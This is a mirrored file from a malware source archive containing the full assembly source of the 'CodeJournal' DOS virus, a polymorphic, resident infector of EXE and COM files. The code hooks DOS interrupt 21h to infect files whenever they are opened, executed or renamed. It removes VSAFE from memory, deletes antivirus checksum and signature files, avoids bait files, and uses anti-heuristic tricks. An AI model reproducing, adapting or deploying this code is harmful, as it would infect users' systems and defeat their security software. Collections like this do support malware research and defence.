mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
589 lines
19 KiB
NASM
589 lines
19 KiB
NASM
;
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; CodeJournal virus, (c)1995 ûirogen [NuKE]
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
;
|
|
; Polymorphic, Resident, Parastic EXE/COM Fast Infector. This is
|
|
; another one of my fuck-Invircible viruses. It uses absolutly
|
|
; no stealth techniques, yet successfully piggybacks invircible.
|
|
;
|
|
; Anti-Invircible Code
|
|
; ----------------------
|
|
; Completly defeats InVircible's v6.02 Anti-Piggybacking
|
|
; Avoids Bait Files
|
|
; Doesn't infect InVircible executables
|
|
; Deletes Invircible v6.02 signature files no matter what name they have
|
|
; Searches for and deletes them on set dir (21h/3Bh) call
|
|
;
|
|
; The Rest
|
|
; ----------------------
|
|
; Polymorphism is ûiCE v0.5
|
|
; Infects on: Open (3Dh), Rename (56h), Ext. Open (6Ch), Execute (4Bh)
|
|
; Doesn't infect executables ending in 'AN', 'OT', 'AV', 'NU', or 'ND'.
|
|
; Attempts to get DOS 21h vector by assuming offset is 109Eh in DOS seg.
|
|
; Deletes all signature/recovery files known to man
|
|
; TBSCAN doesn't flag COM files at all because of my patented JMP construct
|
|
; Only subtracts from total memory when DOS allocate memory (49h) is called
|
|
; ..and then the usual shit..
|
|
;
|
|
;
|
|
;
|
|
;
|
|
cseg segment
|
|
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
|
|
|
|
signal equ 063ABh
|
|
buf_size equ 850
|
|
vice_size equ 1993+buf_size
|
|
virus_size equ (offset vend-offset start)+VICE_SIZE
|
|
max_iv_size equ 256*66 ; maximum size a signature file
|
|
; can be, speeds up search.
|
|
; can't contain more than 256
|
|
; records
|
|
extrn _vice: near
|
|
|
|
org 0h
|
|
start:
|
|
call get_bp ; get relative offset
|
|
nx:
|
|
push ds es ; save segments for EXE
|
|
|
|
inc si ; SI!=0
|
|
mov ax,signal
|
|
int 21h
|
|
or si,si
|
|
jz no_install
|
|
|
|
mov dx,5945h ; remove VSAFE from memory
|
|
mov ax,3D02h
|
|
add ax,0FA01h-3D02h
|
|
int 21h
|
|
|
|
mov cs:int_busy[bp],0 ; reset interrupt busy flag
|
|
|
|
mov ax,ds ; PSP segment
|
|
dec ax ; mcb below PSP m0n
|
|
mov ds,ax ; DS=MCB seg
|
|
mov al,'Z'+1 ; fuck heuristics
|
|
dec al
|
|
cmp byte ptr ds: [0],al ; Is this the last MCB in chain?
|
|
jnz no_install
|
|
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
|
|
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
|
|
mov es,word ptr ds: [12h] ; get high mem seg
|
|
|
|
push cs
|
|
pop ds
|
|
mov si,bp
|
|
mov cx,virus_size/2+1
|
|
xor di,di
|
|
rep movsw ; copy code to new seg
|
|
|
|
xor ax,ax
|
|
mov ds,ax ; null ds
|
|
push ds
|
|
lds ax,ds: [21h*4] ; get 21h vector
|
|
mov es: word ptr old21+2,ds ; save S:O
|
|
mov es: word ptr old21,ax
|
|
pop ds
|
|
mov ds: [21h*4+2],es ; new int 21h seg
|
|
mov ds: [21h*4],offset new21 ; new offset
|
|
|
|
no_install:
|
|
|
|
pop es ds ; restore ES DS
|
|
xor ax,ax ; null regs
|
|
xor bx,bx
|
|
xor dx,dx
|
|
cmp cs: is_exe[bp],1
|
|
jz exe_return
|
|
|
|
lea si,org_bytes[bp] ; com return
|
|
mov di,0100h ; -restore first bytes
|
|
mov cx,3
|
|
rep movsb
|
|
|
|
xor di,di
|
|
xor si,si
|
|
mov cx,100h ; jump back to 100h
|
|
push cx
|
|
_ret: ret
|
|
|
|
exe_return:
|
|
xor di,di
|
|
xor si,si
|
|
mov cx,ds ; calc. real CS
|
|
add cx,10h
|
|
add word ptr cs: [exe_jump+2+bp],cx
|
|
cli
|
|
add cx,cs:orgss[bp] ; calc. real SS
|
|
mov ss,cx
|
|
mov sp,cs:orgsp[bp] ; restore SP
|
|
sti
|
|
int 3 ; fix prefetch
|
|
db 0eah
|
|
exe_jump dd 0
|
|
is_exe db 0
|
|
|
|
get_bp:
|
|
int 3
|
|
pop bp
|
|
push bp
|
|
sub bp,offset nx
|
|
ret
|
|
|
|
|
|
; resident infection function
|
|
|
|
infect_file:
|
|
cmp ah,6ch+1 ; from extended open?
|
|
jnz not_extended
|
|
mov dx,si
|
|
not_extended:
|
|
mov di,dx
|
|
|
|
mov al,'.'
|
|
mov cx,0FFh
|
|
repnz scasb
|
|
or cx,cx
|
|
jnz got_ext
|
|
ret
|
|
got_ext:
|
|
cmp word ptr [di],'oc'
|
|
jz is_exec
|
|
cmp word ptr [di],'OC'
|
|
jz is_exec
|
|
cmp word ptr [di],'xe'
|
|
jz is_exec
|
|
cmp word ptr [di],'XE'
|
|
jz is_exec
|
|
is_bad:
|
|
ret
|
|
is_exec:
|
|
cmp word ptr [di-3],'DN' ; *ND
|
|
jz is_bad
|
|
cmp word ptr [di-3],'NA' ; *AN
|
|
jz is_bad
|
|
cmp word ptr [di-3],'VA' ; *AV
|
|
jz is_bad
|
|
cmp word ptr [di-3],'TO' ; *OT
|
|
jz is_bad
|
|
cmp word ptr [di-3],'UN' ; *NU
|
|
jz is_bad
|
|
|
|
push ds
|
|
xor ax,ax
|
|
mov es,ax
|
|
lds ax,es: [24h*4]
|
|
mov cs: save24ip,ax ; save 24h
|
|
mov cs: save24cs,ds
|
|
lds ax,es: [21h*4]
|
|
mov cs: save21ip,ax ; save 21h
|
|
mov cs: save21cs,ds
|
|
mov es: [24h*4+2],cs ; write new 24h
|
|
mov es: [24h*4],offset new_24
|
|
push es
|
|
mov ah,52h ; get DOS segment
|
|
int 21h
|
|
pop ds
|
|
mov si,109Eh ; assume 109Eh
|
|
cmp es: [si],09090h ; is DOS vecor?
|
|
jnz not_dos
|
|
mov ds: [21h*4],si ; write new 21h
|
|
mov ds: [21h*4+2],es
|
|
|
|
not_dos:
|
|
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
|
|
mov al,0 ; get phile attribute
|
|
call attrib_file
|
|
push cx ; save CX-attrib
|
|
|
|
mov al,1 ; null attribs
|
|
xor cx,cx
|
|
call attrib_file
|
|
|
|
mov al,2
|
|
call open_file
|
|
jc dont_do
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
mov cx,1ah
|
|
lea dx,org_bytes
|
|
call read_file
|
|
|
|
mov al,0 ; get time/date
|
|
call date_file
|
|
push cx dx
|
|
|
|
cmp byte ptr org_bytes,'M'
|
|
jz do_exe
|
|
cmp byte ptr org_bytes,90h ; InVircible bait?
|
|
jz close
|
|
cmp byte ptr org_bytes,0E9h ; us? / invircible bait?
|
|
jz close
|
|
|
|
mov is_exe,0
|
|
|
|
call offset_end
|
|
cmp ax,0FFFFh-virus_size ; file too big?
|
|
ja close
|
|
push ax ; AX=end of file
|
|
|
|
lea si,start ; DS:SI=start of code to encrypt
|
|
mov di,virus_size ; ES:DI=address for decryptor/
|
|
push di ; encrypted code. (at heap)
|
|
mov cx,virus_size ; CX=virus size
|
|
mov dx,ax ; DX=EOF offset
|
|
add dx,100h ; DX=offset decryptor will run from
|
|
mov al,00000011b ; garbage, no CS:
|
|
call _vice ; call engine!
|
|
|
|
pop dx
|
|
call write_file
|
|
|
|
call offset_zero
|
|
pop ax ; restore COM file size
|
|
sub ax,3 ; calculate jmp offset
|
|
mov word ptr new_jmp+1,ax
|
|
|
|
lea dx,new_jmp
|
|
mov cx,3
|
|
call write_file
|
|
|
|
close:
|
|
pop dx cx ; pop date/time
|
|
mov al,01 ; restore the mother fuckers
|
|
call date_file
|
|
|
|
dont_do:
|
|
pop cx ; restore attrib
|
|
mov al,1
|
|
call attrib_file
|
|
|
|
call close_file
|
|
|
|
xor ax,ax
|
|
mov es,ax
|
|
lds ax,dword ptr cs: save24ip ; restore shitty DOS error handler
|
|
mov es: [24h*4],ax
|
|
mov es: [24h*4+2],ds
|
|
lds ax,dword ptr cs: save21ip
|
|
mov es: [21h*4],ax
|
|
mov es: [21h*4+2],ds
|
|
ret
|
|
|
|
do_exe:
|
|
|
|
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
|
|
jnz close ; could be iv bait if not
|
|
cmp byte ptr exe_header[18h],52h ; pklite'd?
|
|
jz exe_ok
|
|
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
|
|
jge close
|
|
mov ax,word ptr exe_header[0Ah] ; get minimum memory
|
|
cmp word ptr exe_header[0Ch],ax ; if max mem=min mem then ok
|
|
jz exe_ok
|
|
cmp byte ptr exe_header[0Ch],0FFh ; max memory FFFFh?
|
|
jnz close
|
|
exe_ok:
|
|
push bx
|
|
|
|
mov ah,2ch ; grab a random number
|
|
int 21h
|
|
mov word ptr exe_header[12h],dx ; mark that it's us
|
|
mov is_exe,1
|
|
|
|
les ax,dword ptr exe_header[0eh] ; get old SS:SP
|
|
mov word ptr orgss,ax ; not reversed
|
|
mov word ptr orgsp,es
|
|
|
|
les ax,dword ptr exe_header[14h] ; Save old entry point
|
|
mov word ptr exe_jump, ax
|
|
mov word ptr exe_jump+2, es
|
|
|
|
push cs
|
|
pop es
|
|
|
|
call offset_end
|
|
|
|
mov cx,10h ; divide by 16
|
|
div cx
|
|
sub ax, word ptr exe_header[8] ; subtract header size
|
|
|
|
mov word ptr exe_header[14h],dx ; new cs:ip
|
|
mov word ptr exe_header[16h],ax
|
|
|
|
inc ax
|
|
mov word ptr exe_header[0eh],ax ; new SS
|
|
mov word ptr exe_header[10h],0F000h ; new SP
|
|
|
|
lea si,start ; DS:SI=start of code to encrypt
|
|
mov di,virus_size ; ES:DI=address for decryptor & code
|
|
mov cx,virus_size ; CX=virus size
|
|
mov al,00000010b ; garbage, use CS:
|
|
call _vice ; call engine!
|
|
|
|
pop bx ; pop handle
|
|
mov dx,virus_size
|
|
call write_file ; append virus
|
|
call offset_end ; get adjusted file size
|
|
|
|
mov cx,512 ; divide by 512
|
|
div cx
|
|
inc ax ; add a page
|
|
|
|
mov word ptr exe_header+4,ax ; save new size
|
|
mov word ptr exe_header+2,dx
|
|
|
|
call offset_zero
|
|
|
|
mov cx,18h ; write fiXed header
|
|
lea dx,exe_header
|
|
call write_file
|
|
|
|
jmp close
|
|
|
|
offset_zero:
|
|
xor al,al
|
|
jmp set_fp
|
|
offset_end:
|
|
mov al,02h
|
|
set_fp:
|
|
mov ah,42h
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
ret
|
|
|
|
open_file:
|
|
mov ah,3dh
|
|
int 21h
|
|
xchg ax,bx
|
|
ret
|
|
|
|
close_file:
|
|
mov ah,3eh
|
|
int 21h
|
|
ret
|
|
|
|
read_file:
|
|
mov ah,3fh
|
|
int 21h
|
|
ret
|
|
|
|
write_file:
|
|
mov ah,40h
|
|
int 21h
|
|
ret
|
|
|
|
attrib_file:
|
|
mov ah,43h
|
|
int 21h
|
|
ret
|
|
|
|
date_file:
|
|
mov ah,56h
|
|
int 21h
|
|
ret
|
|
|
|
new21:
|
|
pushf
|
|
cmp ax,signal ; be it us?
|
|
jnz nchk ; richtig..
|
|
xor si,si
|
|
popf
|
|
iret
|
|
nchk:
|
|
cmp cs:int_busy,1 ; are we already in int?
|
|
jz jmp_no_stack
|
|
mov cs:int_busy,1 ; now we are
|
|
|
|
inc ah ; fuck heuristics
|
|
cmp cs: fix_mem,1 ; need to fix memory?
|
|
jz add_mem
|
|
cmp ah,48h+1 ; allocate memory?
|
|
jz sub_mem
|
|
cmp ah,3Bh+1 ; set dir?
|
|
jz kill_anti_virus
|
|
cmp ah,4bh+1 ; execute phile?
|
|
jz go_infect
|
|
cmp ah,3dh+1 ; open phile?
|
|
jz go_infect
|
|
cmp ah,6ch+1 ; extended open?
|
|
jz go_infect
|
|
cmp ah,56h+1 ; rename/move phile?
|
|
jnz jmp_org
|
|
|
|
go_infect:
|
|
call push_regs
|
|
call infect_file
|
|
call pop_regs
|
|
jmp_org:
|
|
dec cs:int_busy ; not busy anymore
|
|
dec ah ; restore function
|
|
|
|
jmp_no_stack:
|
|
popf
|
|
db 0eah ; jump far XXXX:XXXX
|
|
old21 dd 0
|
|
|
|
si_jmp_org:
|
|
pop si
|
|
jmp jmp_org
|
|
|
|
|
|
add_mem:
|
|
mov cs: fix_mem,0
|
|
push ax ds
|
|
xor ax,ax
|
|
mov ds,ax
|
|
add byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;+totalmem
|
|
pop ds ax
|
|
jmp jmp_org
|
|
sub_mem:
|
|
mov cs: fix_mem,1
|
|
push ax ds
|
|
xor ax,ax
|
|
mov ds,ax
|
|
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem
|
|
pop ds ax
|
|
jmp jmp_org
|
|
|
|
kill_anti_virus:
|
|
call push_regs
|
|
push cs
|
|
pop ds
|
|
mov ah,2fh ; get DTA
|
|
int 21h
|
|
push bx es ; save DTA
|
|
push cs
|
|
pop es
|
|
lea dx,ff_info
|
|
call set_dta
|
|
mov cx,16h ; include all attribs
|
|
lea dx,inv_spec
|
|
mov ah,4eh
|
|
int 21h ; findfirst
|
|
jnc inv_loop
|
|
jmp inv_done
|
|
inv_loop:
|
|
lea si,f_name
|
|
push si
|
|
mov dx,si
|
|
cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT?
|
|
jz is_anti
|
|
cmp word ptr [si+8],'SM' ; CHKLIST.MS?
|
|
jz is_anti
|
|
cmp word ptr [si+8],'PC' ; CHKLIST.CPS?
|
|
jz is_anti
|
|
cmp f_sizeh,0 ; high word set?
|
|
jnz findnext
|
|
cmp f_sizel,max_iv_size ; too big?
|
|
jg findnext
|
|
mov al,0
|
|
call open_file
|
|
jc findnext
|
|
mov byte ptr inv_buf,0
|
|
mov cx,44h
|
|
lea dx,inv_buf
|
|
call read_file
|
|
cmp ax,44h
|
|
jz record_s
|
|
mov ax,word ptr inv_buf
|
|
mov word ptr inv_buf[42h],ax
|
|
record_s:
|
|
call close_file
|
|
lea si,inv_buf
|
|
call chk_iv ; check first record
|
|
jnz findnext
|
|
lea si,inv_buf[42h]
|
|
call chk_iv ; check second record
|
|
jnz findnext
|
|
is_anti:
|
|
mov al,1 ; reset attribs
|
|
xor cx,cx
|
|
call attrib_file
|
|
mov ah,41h
|
|
lea dx,f_name
|
|
int 21h
|
|
findnext:
|
|
mov al,0 ; null out filename
|
|
pop di ; di-> fname
|
|
mov cl,13
|
|
rep stosb
|
|
mov ah,4fh
|
|
int 21h
|
|
jc inv_done
|
|
jmp inv_loop
|
|
inv_done:
|
|
pop ds dx ; restore DTA
|
|
call set_dta
|
|
no_kill:
|
|
call pop_regs
|
|
jmp jmp_org
|
|
|
|
set_dta:
|
|
mov ah,1ah
|
|
int 21h
|
|
ret
|
|
|
|
chk_iv:
|
|
cmp word ptr [si],'ZM'
|
|
jz yea_iv
|
|
cmp word ptr [si],'KP'
|
|
jz yea_iv
|
|
cmp word ptr [si],0EA60h
|
|
yea_iv:
|
|
ret
|
|
|
|
push_regs:
|
|
mov cs:_bp,bp
|
|
pop bp
|
|
push ax bx cx di dx si ds es
|
|
push bp
|
|
ret
|
|
|
|
pop_regs:
|
|
pop bp
|
|
pop es ds si dx di cx bx ax
|
|
push bp
|
|
mov bp,cs:_bp
|
|
ret
|
|
|
|
new_24: ; critical error handler
|
|
mov al,3 ; prompts suck, return fail
|
|
iret
|
|
|
|
|
|
inv_spec db '*.*',0
|
|
credits db 'CodeJournal by ûirogen [NuKE]'
|
|
orgss dw 0 ; original SS:SP in exe
|
|
orgsp dw 0 ;
|
|
fix_mem db 0
|
|
new_jmp db 0E9h,0,0 ; jmp XXXX
|
|
rel_off dw 0
|
|
exe_header:
|
|
org_bytes db 0CDh,20h, 6 dup (0) ; original COM bytes | exe hdr
|
|
vend:
|
|
db 13h dup(0) ; remaining exe header space
|
|
save21ip dw 0 ; infected int21h vector
|
|
save21cs dw 0
|
|
save24ip dw 0 ; old int24h vector
|
|
save24cs dw 0
|
|
_bp dw 0
|
|
int_busy db 0
|
|
ff_info db 26 dup(0)
|
|
f_sizel dw 0
|
|
f_sizeh dw 0
|
|
f_name db 13 dup(0)
|
|
inv_buf db 44h dup (0)
|
|
cseg ends
|
|
end start
|
|
|